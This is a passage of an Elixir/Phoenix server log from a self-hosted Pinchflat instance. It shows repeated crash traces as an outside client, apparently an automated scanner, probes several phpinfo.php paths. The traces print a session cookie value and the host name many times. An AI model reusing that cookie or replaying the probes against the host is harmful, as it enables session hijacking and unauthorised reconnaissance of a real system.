"_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/admin/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7EGhHCadx9IAATlB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 230, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 230, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V (truncated) 02:10:24.512 [info] GET /test/phpinfo.php 02:10:24.514 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=182.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:24.514 [debug] QUERY OK source="settings" db=0.2ms idle=122.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:24.514 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:24.515 [error] #PID<0.3535.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 231) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /test/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /test/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/test/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 231, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3535.0>, params: %{}, path_info: ["test", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/test/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7EUgiNqWlq0AATmB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/test/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 231, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /test/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/test/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 231, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdg (truncated) 02:10:24.573 [info] GET /dev/phpinfo.php 02:10:24.575 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=182.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:24.575 [debug] QUERY OK source="settings" db=0.2ms idle=120.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:24.575 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:24.576 [error] #PID<0.3536.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 232) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /dev/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dev/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dev/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 232, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3536.0>, params: %{}, path_info: ["dev", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/dev/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7EjDDlfSR7MAATnB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dev/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 232, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dev/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dev/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 232, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ (truncated) 02:10:24.643 [info] GET /old/phpinfo.php 02:10:24.644 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=188.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:24.644 [debug] QUERY OK source="settings" db=0.0ms idle=130.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:24.644 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:24.645 [error] #PID<0.3537.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 233) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /old/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /old/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/old/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 233, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3537.0>, params: %{}, path_info: ["old", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/old/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7EzoLRcohaIAAToB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/old/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 233, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /old/phpinfo 